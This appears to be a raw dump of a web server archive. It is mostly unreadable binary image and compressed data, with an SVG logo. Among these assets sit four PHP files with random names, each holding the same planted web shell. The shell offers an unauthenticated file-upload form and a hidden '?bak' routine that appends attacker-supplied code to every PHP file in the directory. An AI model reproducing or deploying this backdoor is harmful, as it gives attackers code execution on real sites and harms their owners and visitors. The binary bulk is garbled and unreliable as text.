����֯��v~"ݬ��D�B���?f�m�?ʢt��W��J�g��hw�U���I����Mxչ��J���_�?λq�������i�s�M�4�|1��[�W�ΞW�����p9�H�ư��7��u:mP��x�!K"�2~�*].�π�ݔ-��̽?*˯������c�Uj,1��m��R�L���X�d1�ľ����C�����WP��EE^��*��~�*��?�F*�lʣ���<]���x�����7J���Ye�p� ��$�L���2~<Vl�� ��GO�S���f�a���9@6�zj�z���?ciwe����y�"�o���s��ڵ�ICT�I�R�X�y�Kƻ��Ş���"�#��6���q����W�(�+��Q�'O61��k�ʕGi�>�珶���uٗ���K ˠ�vW�;f���� #�X]��J���,߂kA�h�3��1j�M�l�_.���v�����M��}J6[�����?:=�����.����� mki4d|�����y�&��>�0'I���ďc� �\�¢z �õ�Y���>'�G}��:<R����iP�y�>HlngD�##���x;�D�t�=[�_SA�-�/$pk ����)%Lgzs�'���x�Q����V��O�#��b�A"y�S��� W{��+MY�E��9S��l�'�k+��fԯ-g�bp�6���{�| �H�u��H�ֺ4P�&U�Z2�z�8�y`��m�r#Y^��8Y>x������rn��&�����(c= �+���7���u�{�o6�,q��Cn���r1Y�5[�&��5��xǫ�}��2K�<�.�R6�zʽ����k���Yᰉ�(ȋ��!�09�c������ߘJ�9�<N�^0�A�dr�%쐘n�9c�y�洏�|U��3�7l<��\�����o�����ő��_H����ݰ?zZ�Xm眮Oұ�_�������ҧ�Kf�3 1�J�����[��(ԍ�o���;ſ�K�&�)����#||�3C�B��< ��G���ӆ�p.��$��<�n�zg�oU���J�R�=c���U���Zn��Mwqj��@G�P٬ x�?�z~��d��c2� {'�wZޮ����U#���χ~;Ox��M�n.n,�q��#9bz3N�>����^��G��K�22���3�q�b�TK�����W�t��x�>3����1��Q76`s��gÿ|omi⸮4���l�!;���z�V�T���J�y-~�l��c��ͣ�.��<��n�3����Z�wc�_ �ͬ���+�H�1i鑎�.�E��\�փ��}C����>-xVr�^�{"1�l�f���0��m;���\���k�~_��3��S�e����g겊����|:�a�gRBOO���s�3��|��v�� ��B��6�}~�W/�dC��Dp�v�?(��J���1J�s��� 7|4�K��:q�|� .�V�[�.ɫ\�y�:��_3[�ך>���/쵧v�ث�{"�q�IO�A<&r̗���I�����%�Ŀ!��3xm��cY���].�(���fÀo,9<�U�_��ҷ�W���\Rm8���̵��Ň�������$�J�ko17d�H� ���s�c��N�.�_�����E��s�+��T���`���vA��� ��A�?I1Y<�i���;�|V�������G�Z5�2�;�w�3$ f�o��Ͻt2C��jd�����Չ�Eb�>�#r�ľ)��x��U�2^-��Čߟ�u���q���M�Nm�L��Uݞs�WT1!mNY���y��}k���R�Hgv�<I��& �q�I,�5(�����K�cF���+OiB��!�ts{*�_����kx����?��FB���nZ�?tV,�ŖG�v7z�a)?zUjm(���$>Zx��� �#�t�xL��W�킸�O�܁Y}N��fސ�<:���#��Ê��O���m�|5G�i��w���������{q�q� ��˷TҼM�ġ�I�� f�#_����F��l�;�lHrk��m�͇��`A�O[�2 E���\� ��z��{��5��n#����v7=���m46�;���r�d9�+N��=Q�� b ��cڼ���mt-�.�c�'�^���3d���>����4�F�}6 �P�1ӧ�]�I=Vđ Y?� �Y��Z��#�U �H=��O���6?�4���'��� �����U��0�'��|��<I�MR�-�h�.|��2 ���k�$�x�����⥕����X�Eft�8��Q8=3��r]\���%��0�����;��]��= T�Qסg[����� H@d��u�u1U�j �EH(�w<����~ks��W~א\A`�l�I�D�����uv�9k;Y���iM7�&��ڈ7Fҁ�';@���sZW���e�^��%�YZZ�[�`R8��@�G���Wi1�vM���_��_�5kۆ��ִT���}n|�����?g(�+-l/C*�� φ�4�G�4}!j� ����R����o)�kБ�E��A�<�� �G���p�)�r�8e#��eeb�i����̓h�/�S��xb<7�ֻW�{q�3m�LpNJ�#��y����҇���3fF�k�\�ï����]n�zG����֦��j�:�{�k�>j��ձ#�.ZY��W��A���g|��/�nJ��^�z^�e2̼g"��1M���Wa\�mso��r6�G=�U�5���vl�NO?*�R�>��}+Z�%���bI'��9�פxr�G}C)lu�Ԛt��4���5cԦ}M�a�Dc�5�Ԥ}>IFb'��5�S���5���.�,�\O6����)��T�qq�Ƞ��6�����I�zW��J5l����zsuG�~ ����Kl*�E< ��V^��藩}yl�?�\HW�X�ɯ ��J.T���vS\ҍ��M��9,�1��,2��Ku��}դq\6��^�Ğ3X)I�)��A�V�H�����uH�íGe<ya���k���e����8Ա����nx�t�zj�0���ܯ�9 }�=��� k�]ن-m�;¾����cT�s��qe��G��Ǩ~����]��g���|�fw�<�}sY{5�,�m�p���G���Z�E�y���^q�~�<.���s�Z2R<e#���^����:���M�<��ۦ�������p�}Nq���u��N�u\F�wT�]>V�=��T��{E��4��?Z5]�Q��'1JW���*�������xŜ>�,z��P��s��?�Wn��Ğ��p��z�(��J[[�f��-�:k�|S�Z���Qq��NI�ӵ}�5]My�'D��"E]�|�!�j���䌩^�-��=��5��������{__�!��R�r��q�L��u 5o�n#E�+I�%��;u���&�d���q�*���w���|l�m�p��j,�/�UZ�zn�0 s�_Wx���Ϳ�����3ݫ����dC����s�p{W�E.^~�LX�?eMy3����G{e����J��]�Y�:���<�[�@��+��'P��Ԡ��M���A�ӑ��S�dyj���ꟴ��1}+A{e�Q �*���y���^��]�q��0W�n���~��J��1s��<��Y��Yo5 �g�٤%�3u�jݞ�$?�����PV���e�6�W��$�9��U�b�� v�e$V&w�r��,��q��m��4��)��?3� ����˲@ 9$�ɩ��f� 8��:RnƖ�W=�OШ� �[v�b[3�#y�N��۱��f�����1�ҷ��mv7$(��\��$�6�%k�Z=���b$�<�Yͧ�����UW:g�F�XZ��QS���ԧN��O,��:Ф�s��Ҷ���h�`m�T�����VIs"����Ȯ7RW�KB6F{pCm���fʁ|¼$�"�ODiш�9�x�߃\��d=s��G=kh��bo1O�u�VN�oop %Hv���R�Wb5�%<¼�ϷJ�ҷ�Z0v�y��%loܔ_%�]�����͒�\I��*����[7�.�m��'99��-��o��ԓ:��%��w���y����Ig�UVWS�:�<V�hC��ֱ�4gB3�5�o�[ܪ>��7��.mF�E�V9���mn��3m9=OJ۳ҷŰN�1�*��Р�e�{lʑ��������3ʌ䪶y�F�b�X����GU�DR{g&��ij"I�{R܆�v�ZmF[y7c{�=�j[kz��%��((</� +\�������wT�|ch��(%��y�%۸���zԸ��5��8��6���>�X����y�����A���\��i$�h24�xN?J��ȅ��+&�xn�t��WC*�d�U��LuY����@*�>��e ���R��8��̍�=��Hd�xrFs���d�֓o���[",�Rw��ޡԗs�.�B��,��{u�UP�)��Ԏ�J��i֚�ڭ͵�p�C�T� �Tc��O�5�6Q�NCP𮇧\�?eY^Vv��:�oY�z���)S��<`d��+�����m�X����{S����>���x�z6�R tT�7�ϥgSQ�\ij�˝C}%e�O��39g+�sެ��N���Z�o����$��s\��{�Uݎ���zE����-��Q�2~��6�:����'��j���ݹ�zW#���Λ��(�i�xC�z���qi��'�C|���N�Ƒ�ķZt"ݡ��t�kg^n -�c(�g�l�SK���<����eK�Z�!�m�G�G2�Hu?(5�����ӑr�V𥾢Dz|b#1�r��4���u���-�l�(�\~5KQ��N-3����fK8"�%h�a��(8�kP���hI[�`�Tq3�w<�ӳm3����DK����+�8p*�Et� +��t�G�u:�{��ݵ���hZm��f���x؎�;��_E|i��O�$li#��rP���|b����\���Yt����s�{J�<G��+ ����N�+�B� �y��7<��g9�{ϧ����7w�3�<1�i�zY�d��H� �^OA^�5���)�?>�ITlc ��Ӛ��ԗ�'��Cʌtq�s�'�l�<�v�~�&F*�!��=���3�"�9�:~�[�fwV�I$j�h�h�<�3,eX!��+Ѽ3�]Z�--�ȹ�ܮ=5���%�L� ��iֺ�������B�XۿCSx7Cѵ]e'�-E�єgf!� �i0+��֚�Vi�vT��G���e�^i(I��gE= p3Q�V��i�J�g�t#ںTڡ̷�Ι;J����v�w��,U級8��I|�q��#��+�� ���y+9w%G��1�`k湝Z��Q���&/�:oi��g���,��|�X刐���|��t9�Kte1^Nr=����Jҧ����I8DZ��� n䈱-�g��b�ᦁv���#�G88��2�e��*�j̵e���p����z���U���ni�j_a ps�^j'�������� �4Y�H�b֮���úq�i3��<�v������KO���i��1,�z� <�i�ш�WU�ps�����\m]"8֚nI��~�v�9�!?R@�V�ۥ3������ʹ�xֱ��Fڹ2�7mM��w��*_އ�cnX����J< �� ��+���k)b�5�;c9=[9ټ��H��߉�V9^zz�ց�~��O� ��bT�g�s��\�5$�l�NMٲ��ß ��À�i+���T�~�N�u�h�m�p��/>��\q�b�LI��Z��?��v�Q���A\��5R������Čv�An�����B���w4l�xi�<�g"XCg����X��� 2�+��c��Y<Ư5��j`'����#�� �����'ޮj4m3I�H�g�JY�,Xg��Oj�x����ZIs������jod� ��N=j��=-�&��H�q��s!��Ϯ�5d+)o�㇄b�]�k��F�apqv�0�ճ1p�Wy�?*���;$L%��c�״��!B#Va�U���?L�^�ck%�趌[%�� ��� 9�뺝V�e8��M�[�������O�}�?�Q]\�+��4|Sݬ�3��]��M̢�ma��aVoc� M)s#�{�J&����8�5��3��WDtVGV�%7Գm<��̈́�a�8黊�Y��;�$��)�^�F��В� S$����O��$a�rI��� �S�+(&�Z��B �A�Lʛ�V� � 8���RKl���qb�cҧ���+7ؒ[����r1��P?�푗��)\9v}.VRKd�����H���~U}Nu�!�&���#��O�<q��{����Ԝ���V���=��P���j[��肼�� ��I�֟ܰ��t�Ͽ4�%7t_�5�CY�_8f�^8?�"�Xg�Ԥ���NU/)O$s�T��2���L��Ҵ{�v�h�i`�����0� �[{g��J�iG$�9?ZIw.rN���"��g�?Ӛ�jɿ2 `�8��l�J�>���f�����9�����W��i��M�U�QF��ģq�Ӝ���k����c�c�\�ў*2�v�MiE�ޡTuIP�r�zq�}�ܔ�>n]6��k뮚j�ih��f`y$��|?n�X��#����m �^-yrь���>�"��[V;Ɯ��e�����I0�`�4���%��S_Mx�6| �> �#�qiw ���!Bd'=AȬ1qU0��s�.j���O� ���&Ցn�B�lorwǾk�����o�� ����P��99�8���S��F�z%sYG���Ѿ0�mݔK{(�6K`�5��j��֞�/x���vbc�)~~V���{U<�=0�u`�s��t�5�/Q��U�x`��#�G\� �Ci�����s�9��"����#6ۉ��%�Χou��jz,v�7��$ȍcW9����y�G�A���羙�d����g�A�kD���s�����'�)$:���� ��q�0Tq^i���h��U�I�3�Yϖ2�y��SB+���jR4�ko�xcöZݵ��O�J�.�Q��'����\������Cm����w.DD1#<��k��1�R��^�g�%���,�R�W-p<�������y��6�絁�գ�:���� ��c��@fA��*[�7.;##EM� ~N������#]��6�~���7���0���dg���j��U#�Aϯ5���íYO��~�t��h���5��ꏤ3�[�[�|yL�1�"�c=k������Y�jZK�xXF����c�+����y���`U��[x�s�3^}ovJǫ�nP��=Zi�u��*�%��<o$Cr�=:��j�"Я5M"/�j a!%7����zQ��5�SJ�-����~�eg����L ��2H�I ��O�i�[@��%K�3�~ ����˕�V����9�g�i�'�cl��bL|����ɬynb��٨[��řC.P�� 8�U���}����FjY�n�����6;FUXټ`�8�kcC����F;[�f�;H��33�y�q��7s�PJ���m�G����/2RPʁ�$���H-��q�v�}���sB��2ym)1�8����7L��j�=cƾ"��> �ԭ�IZ8�/����{��/ŗM}oo*��L�r���{��TR�;�U✢��w��/4Dw�&�����tx�ﭵ�뉮7��R>�(�0zWoDy�j�l�G�jx�S�n��aӌK��6m��n1�����|V�Z)Sw�ٽi��� ʓҳ�Qu �I/�D�ʚ�&r7����隐J��d�ʵ�1�>A��������<�v�'t@s�'<W��i�R�n��d�6��l@��s���g5���ѭ5h&d�x�k����X��&]��"� Q�=8�v�$m?c��-�W��I��L �IW�,8#W��cҠ�`���\C��4��,�$~Q��e��n��=j}C�n,��E�Ao"c��Bc��y�:��F��3��)��7V�H\@C�' ,��$�p�ꭧ\i�2��ߙbq#���˹O�9��Y+4��̥&z=���O����swf�1N����:�x�S����y���lnR:s��]���d�4�?�gH���C�Yd�����1[�ƫ�_����Ij�����708��Y�5���R�[����cYu /eII[ \d�#�g=��#x�m;M�Y�V���P�r���Z$쮍�Q��ٻ}w� ��v��_r�W��5�Ьk�$H�m��x�bpO �D^�9j�F�!���X�֢�hd�5�n�ę<��s�� W�~��-�;�Y�Y�Wi��d�Hؓ sс<�Zr�M#�#f��_�\�:���bG�Ȭ>pdc���ш뎵���V[M1������k�|���������˫8iI��=���K��ĉ�䱊+w��0U� �Ww=s��[>2�͆��" ci�7RQ�h9�H�7�Ϸ�J�X�c�#Y�"��H���-CLҮ��ݮn%�U�tq�������j�O�:���jW�Z�Aqo�������wz�<�w�]���+�ijt.��T�+;M"D\�D�;s�V�o�� $�Ԅ�$]7��[<�QN\�Sz����m����f��Ѵ�Dk��"I�09`�'<�%��j�]V�c+���RXm-�p1[J ^��£��7��'�#���R�/~�g�7�\�%B��q��o�6�T���A�4mk�T���5�wJ*M��Ny6�W�V�� Gee ��V�Sb, � }*x�3����R:�3ĺ���7��J�^Ocڽ[H���m�ʅ���,��2�����t��L�8�:`�ɶ�~���yfF�ʛA��5�8��}W6�r��7v��j=�����y-�$�O����w�Sp����5!v���^7�\�|?�Y%�ؠ�� Cd�u(���u��hp<p0t}Kl�FǭzN q�{�:��>N��Z�,�cn�i��ud#Nk#�D�x�b���1[��Ƹ^����լ��9�ᷳ��æ��{g�V��ƞ?�c>�T���C�Ҵ���z�\���ym������o1�N�G��?wC��.<& <�QQ����jW�����𥅢���`ywwl�t>r��r��}��~��6�o��;�QR[ �^�����)��o�%"O���G�k��Si��. ����?�?ֵ�������M�U�S�j��p�qыœ�UHt�?�C��F�[� �?�E���V���9�VկG���%e�r�?ع��U������N����0�d�:��G�t�����f���ƚ���oi�N�����p�6n����ޔD��ba�jnO�c��NM�oMk�wg����<f�vyz\�9��(�^b��pFA������v\4�������� =�r��i�7���ײA����w4Kݿ�����/$�u8��%5��x����o����8y�>�d'��7�C��>#��X�u��1�?�2[G�~��9�|k՞6���0Fs�~Wc�*�C�V$�W�>�mX˯���O롵4 �ߏP�X���ȻJ�١h-�7�N=1(P����:)�I<s�e#Z��#c��.-���k���]�d�0���Q%��B�!��4� ��b�[4)#w��U��'��h<9h�}�O'$�ſxNpkU�9���5��4��+�i�kT��,����N �}�>�Lӯ�i̗�2�2+n1��|̷J:o�K���h)wr����w��y�~�}*���9�CR{��mL e 5�$��v�/��:[OY6+�/�X�d|���1�[�~Ŧ_�0�7�o|��d9pRp:q���94f�Am�d�w����Sڝf��el��>P'��� |4:�����bń��fX���]w0QVj��]s��s]��rig�>B�'�:�{>�����j饾���ż�A�<����y���J�=�M��h�s���u[%�$I�afe�:� �k���i��o�����9����J<Ӌw0�����hZo�u:���&����b�!s�[��C��GI��-m|M}��Z�\I��ٹ�� �Ee��n�b��c��~ox��O��y�-�vqG��e���=s�j�<@�_�uG��$7Mo"g��T矽%V[��*+��^h�֟ �����ٵڡ8[���'�+�x��Mּ%e�a�\����L~U!rA�x�j�+^�Q���״�{J�d�_���j<l��u�,s\n�?����"�̲���' �Df�䓌U�rM���j�v�M�i� �w��5���\k�/��v�b0�O^sXV���T�k� ��枠�bO��q�Tԩ8��i�7���.�z��]F�~�ob�AH�\��x����G�ð&�r�[��7l�`�S#�ris��#͢�<���o�r�`I�!7W�P�3���m<Oi&�qo�;i��qo%Y��{�9m~�Q�n��� Ў�>�p���Ō��61_P�/��O�G|LF�m=�7Je1��?.zG��Ԓ��ܚ��(�����ѐ%�Ŀ ¤�&�� p�~u疪!���$���և>��YVҳK�� �o��<�Co��&Q�.4��H)5�-�����K�D��k��ɝ[K�#��'���]�1��Q��Y^@�;א�6Z�?O&J�+���+ݿ���o1��m�%��i��"=A8�»G��&�.�[E�4�W�}/�h��guϘo-���k�"����X�@�-i=�����_��0���KA����DB�v�O���~1�X���)Go�x��ȃ�i���ޏ�J�^��E~��t�G�D=Z��b���H|�<1�5����":�D'�g�=����ǧ�s��(��+c�kC��?�_D�>�7���HAo�����Z�����#�7|:�Sg��F5M�F�n����Fˏ�IX���'��W�-��?�k�O��@~07�T��F�!l��! ���0n���Gu�|;����|��R�k��>xm��g�?NR�w��]~b�=�>�n�q4�p��c�Ηb�Юa�G,��;���3�Rw~���Vմ�ko�:�` �^�d8�0?J����������tK�����J��Eo�s�t��E&r3����� �y�`��;\��img/brand.svg000064400000001361151676723140007144 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve"> <style type="text/css"> .st0{fill:#EF4153;} </style> <g> <path d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/> <path d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/> <path class="st0" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5 c0.7-0.7,1.5-1,2.5-1c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/> </g> </svg> img/Emera-Primary-Logo-White.png000064400000013506151676723140012475 0ustar00�PNG IHDR�����PLTE��������������stRNS=�����IDATx�흿r��r��$g8pp}�ΈGP�����7�(v<����*�'��@;u��v˵�Pks�g��A7�Zmw�K��o��L�LO��,666666666666666666666666666�����[��{�9��gѶ�p��[��b�< !��A�bu�/·��!����W|�-W|��|�8[�>�T拂9�G�Z���]��[����C�=A�X��p���+��4��=�H�=tל�w��(Cؗ��3\��\c�}�!@��B|��C�s:h�t�,$h�\�����=�]I��PX>t���@+o �����ލ�}Cc�u+,��C�Y;Ci�i7��Cw��ݯ�=(���(�iڭxjl&�J6����5��)��v��h��Gc3A:��S+��R۠ջ"س=��$���HL�$��C}��E�c!�V�~�}kRTuw��J�Ȟ����hmY<l߸����$�dM�4M�8E[OM���Cgo@�"�N�52F��� j\���vZ`�![w�t��,~Ԕ���m��>�e�κG�Q�?��q�z��y��:Ԟ����FFi+�1�V� �'<��CgJ���ڊ�z#��w�١֓�!���&��L�C�z��u��r'��pɝa�5�{�>��г�Y{��54���=jӴ��J3B�Y*5T�kػf4��D� ���e�`:�J� ��T_�.��zP��J��~��5I{g�v�B�<XWW 5({��+�Ѭ}4P{X� y��tE��5� ��ma������Z�� �ohS�����P��.,��65<��6�� �jO�m�K�T��&�.pm�<Z����&��OR� ��a=*A[���4^�!�$g���p�c�Uj�B��&�݂"���m�:�P���L�HjC�W]E[�N(�G�E�*$u���am�����:�p����iqB�M���DS�3�fg3P�j+�G�QgfJ���HԎ��� q�zFꌨ��A�Qb=G:��=I<$�p�[�A�Ԟ$�]���Z����AӴ�H��gn��B-@�n����4/uO�ޤm��ӑ�N�{�{�.̜���Fq)���p���G�����)Q;FP?�����嶞�z3R� މ��wCCW��k�ϼ�4mX�3b�44\!�i6&��m�x��[��v���_[\�ΔC���`�ɋ6�jr�vz�Am���I��#����A�2+V�yu�)�am�2Y���v+���<�t!M�p`qP1���U뛦).����ԭ���~�6@ $�8�7�hG aS2P�/�a���:C�N�����! |G�2 brО���S��U�ar�q_��\��3L�4����ΰ)���J�p���{C0(�G�v<�����M�;@��N�-4.ؾl�ށDM��R�\x"��3t[���3�n{��Q[G�Gg�#{C�a�6��!���h�����'�4�m g��GClM{��m��И�C_]��e�^��0Lt��I;@M�?RޡoJ��So Q�\�Q� ul�v �癮q�Wv��]��u&mppx���2�^_���o���:j��ݧz�#|�kp�]x�\�X|�YWD�>ulR�c}qz�e1HmX���]��� �>�г,>@�v�4ʮ��M+��:�J�#=�'��C�<������=�t�ꆨ����t�:2�,��'��M��IO�54���-��1ڦ�!b�^���xꭁ:�����n�v���m���Z#�1P�����i��H��m�U��Qנ������S���0u�-�c�^���h�mӰ9�zmT�h��p�/3̈cL�C!��hꅹ��1L}�Q��Ի���Qi �7 �ˏ٨Cx�?LM�ֆ����UM�q� ����!�d�:$S[hꤏ8������=�o�ĐU��U����Q�����!�˧�tLF�KQ����<��P�M��Hh��1�� �?���o�b^�`u��z�����9���S���:�f�:�F����7L����pN�-������E}��i���o��K�!ꡇt�&��]PGӨS��sQ�_��Ïo��!�<u�f��f�-R�?$��cP���؎�jjį�|wԻAj燤�(��[�^�z����7H��?"��Rԛ�L�~7�K�����g�xk]���Ʃ;.�~�/��h^j�� �rzF�t�Z�m���z����o?e���g�^Pۀ��P���(�Y;�VR�2�D���z1j�,>^�{�����I�`ڜ����:��g��4��Q_A͒N��&+�N�%;�=����|�4{AP��H���:$R���v��0u�����7A}�RoNK��j�ԂF���i�B��Bm��zj���������S������� �V��ZQ>���pJj%q<-5Y{>�Z��������R�1ˏ���/}�PG����ѤE�Z@��7@ 9=-�r��p u@� �IL��F�;-�?i�4��'�/F}��z�����cNjOL6�Pk��DԦ'�_��� ��Q��P�1�As)sR;b�+f)(jU�xRj����>b�;����Ne ug�;=%5UE-Pԑ -�g�&j�Cu'�#<%�rJ�"H�.���ٜ������`�;�Z�SR�Q�axwomx��Y���8�#����x<!�BLhhЎ�� �^���Q���)�����ɨ-�6nOS)D���G|qj�6n�|���+�SQ/Iڸ ���Ժ������yVj���%S��aj��um2�m0�yiR�Ut��>-�\����_�^?�S?���L���2��z%��Hm�D�j3��=)5� ��N��:��ڦS�g����ڢS�g����cj/UK䜑ڙ�zI��ΦSOp�1�7uJ��z9���?#�?�G�v�H��C��S�g��硶�ԣ]���JLE0����<���;#�;�O�v�Hm�C�ѩ�v�9�Gw�z�z���Y��lc>���r�N=r욅z�S�k�:8#u0�3��=#�;�p��l�'���cjs�P�g��g�vGP;g�vf��:��2�$�(�~�i0��=#�;���1>e.�Q��~�q4��;#�;��H���G=�f��� $\���rj�U~� ��G=�$��`ڇ���������Ő�ry>jz� _� ]��GM�����}��@��_�GMԆ� ���=&��r>j�6�$�E'�� �I�맳Q�� �ɿ����Y�^ƓSS��O�ݮ~�佷vq�����:�J9/�A�6��������������������������������ؾ?[�=C�d�x{�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�fj�~�Էo��t666666666666666666666666666666���.>�:���x3�<��K.VȲ��yB���j���:.!���X�s�ڜU�Oi?��/�Ϲ������_��K)�S��/�PjV��?� ��TV�]�Ʀ�e��S~�����@���ؕ��6�}��o��dz��2u��=a�)�ś���5l!�E��V_�ʎ�c4�]�i{�|�_URu����)Vح��HO]9B�S�����Cu�N�x����ĖJ����"�uKz�\Swʮ1���(���zԉ�j�F��f��I�(j��%G-B�ȝ��j+�-��w:��#�"��R[͛�B�[כ'W`[��@]Eua�omd�<q���bJ���^%��tC�nn���ا�Xl�N�2�MiR��W�:��@�D۫��� �Mw��*E����y���{呩�O�:�O+�o��^E�8�Hq�y��{}?!�}{�ۡ�Vl˓��sG������3e���C��qBu1��k1Ki�UDž�t�]�¥Y�_~��|���jŤp�]S�o�%��o]$�/��gy��/�\�͵�����RzcDž/˿�5�Lj��eމ��l�jϬ�ڮ�sY��D���ې�m!�������G��RX�j�q�j�<�e�q��vy���l[�'�.��RW��LS:Ԏ�����4��&_�՞T.ځ�9N,5�O*EO*�' �����L� �_Ma����r��RW�+Յ7e�60�_���m�+E�� ���{�Y���"S{B��<'H+�O��j̪��"�0�U=R�{������]�Y��k�?Щ�kzU�x�Buy�;#�����^��[�:jΩˣ���ԾVR��-��[$�KK'4�[R�jl |=S��5+u 2+��b㩋{�q�z5#u���C��vwҥ��R��˪NwJ��.��:#���ԋ�����KEMyTo�K���jH��G�.�J�y�*Q�<n��uˮ�!��_�z?�:?���r����.�QDž[Rn��n&�����l`jO��Jm�}�k��H�i&��O��@���j}��<ꌴ #��� ���9���?���X0=����Z�R�a�<��^���ۢ-��_u���+&���\M>���}��WW�v�G�U*j��ܖ��8<c�;Q����O�H1F5D��w�t��q_��������Ņ�Jl��y6�Q"Z��zRv�f)�ՔG��bj�t����e�f*D�V�j!70��h�^�+�Q��Q�����8�@����R籔�&R��;EQ;J�B]Nˢ�dS��Pk'\�j��`y5�l&�(��L����f�Zʽ�z#�8�G�ɱ{ uy���O�vtM�R��R�Ҋ�� �QןS"�݄~�i>��5Z�_ڛPgMgشS3,���Ip���vN�5+��ԝ���������v�j��B�3e�ں.�q �H�Y�ۄ��S/�CHʮ�>�]?��F�~���ʺF�}/���� 3�2<a�@�Or���piӓH}�L������{{�:����z��PH������&L��{��˗j9�2���f}=L�� uPm>�}BT�@��FC-���BH��Po��@*������%Ϭ�բYC-�� J�k"H�aj�@ u$�}���Bu5��P�z9q35k���aj�L�9SB���:��-5_ ]6��_�ږ~7*V��8�Q��(�O��K4a������3i�N�ײZǐ�ө�t�Z��G�������>�?����:Uw�ө�]r�S��Ŕ��ƕbЖ�Gm�p�+Qo�S�,�4� �w~tԞ�9)�s벻;�n(R����|��%%�ԓ�2e-(e�QGe�p�"'��+�V�ݵ/o�_����,�aԾ��H�K�E�R��qҩ�v�����}��Jёʳ�v�*��z����6oh�S�/�Iu@�.Y��)G-�^�aU�C�5W��l7�<��g3e�7�֬j��y��n���FY_߷����9�\�sT$�_��`Rl )ʚ7�#�ZNqΚ��7�˲��(�B�o �Ͳ˔�V��5���.ʓ�� ����QyPv"~W ]N�v�y��Zڃ��gM�+�Dt¬Xjə,�%�͝D�N��_�ZZ�rP���G��'H9�r�����iԾ��RK%Xȑ�����N)!2|��f{9�F*�ޚN��.�F�-�.ז��vua��z�e� M�vm�*l%�<��.V�n���`k�n�+;�A/��7�4!l*���H������CA�4-h��)�r{��@��R�~����щ��'��n"�zR��Q�/�O6�T&)g��Kl��������b����c~_�Ӟr�\��/��ݵ�h~�F��E{����I����T��1= �h�c?�X����˖�vƲ����������������������������������������������������gs���tg2IEND�B`�ffmolmne.php000064400000001370151676723140007075 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> egbwaell.php000064400000001370151676723140007054 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> bliickjv.php000064400000001370151676723140007067 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> qwwunmvm.php000064400000001370151676723140007173 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> annobin/latest-annobin.tar.xz000064400003217574151677201300012303 0ustar00�7zXZ�ִF!�X��l�]0���cT�3��d����h3RLyLGW8���Q��jm�~���Jn�Va��%@Bݡ��E5wސ����\�bRE��C:8��=~r�C�]k�L � �����������]w+��奣?�H�����Ϭ��#f ��D�$�N����X�Q� S�ke�(��5}�Ex"�s <���i��il�V�����c� ���CK�;J��F�QbX�yn�g7ҪX7.����@*ëS98z�[XU~>z$������G�����=���~�h���2y�?�QA���2u��w��}�X*����GN�r�D�����H�Im�s���Z��g��t�K��3"�m���:�O AA��k!=o�3�����T�D�#���ϲ1���N}������TR^ٌG����xJ�bE� 35�P�_��b]�vc'�Ad��\���,�j����ӧ��W:�P�� D��2L�4p�2h=��gM�sia�rFb�<U�f�csGfGP���- �v^g�ܖ� L�Ϣ*P֟�c}С m��e/�&H-ɗ�u�M;�M2�� *������L�� � 